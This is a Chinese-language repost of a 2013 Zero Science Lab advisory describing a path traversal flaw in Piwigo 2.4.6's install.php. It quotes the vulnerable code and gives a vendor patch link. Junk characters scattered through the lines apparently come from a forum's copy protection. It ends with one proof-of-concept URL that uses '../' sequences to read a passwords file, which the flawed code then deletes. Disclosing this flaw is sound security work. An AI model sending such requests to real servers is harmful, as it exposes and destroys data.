Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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7 n0 J8 z# P! C! g2 VPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
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2 |3 b9 a5 i* f' a; D113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
& P' s& k5 M0 ?: W6 g* |$ ~  t115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
+ ~5 P6 y9 h3 Q, G116:   header('Cache-Control: no-cache, must-revalidate');
/ U) [" \( ~% T" S3 y117:   header('Pragma: no-cache');
7 L8 l& s: r7 j  `% T- ?; |0 D( ?  }& P118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
& b/ v+ W' z' h' V. o121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
. Z4 a, ~# I; j$ {. ]3 I124: }
6 {3 d2 X, D; i9 W9 v3 e* K* n====================================================================

! T1 [* h6 M4 \Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
. N8 t/ o- m/ X  j           Apache 2.4.2 (Win32)
. m; f4 }! U. T1 ~- k2 }           PHP 5.4.4
           MySQL 5.5.25a

' n% N6 Q8 V, V( m) u6 mVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
& Y: D* X3 [/ {8 ]Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
, z0 w8 M8 p8 f  KVendor Patch: http://piwigo.org/bugs/view.php?id=2843

4 h9 M! C5 ~0 B$ D4 n* J, A15.02.2013

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8 Q/ U3 @! [, U( bhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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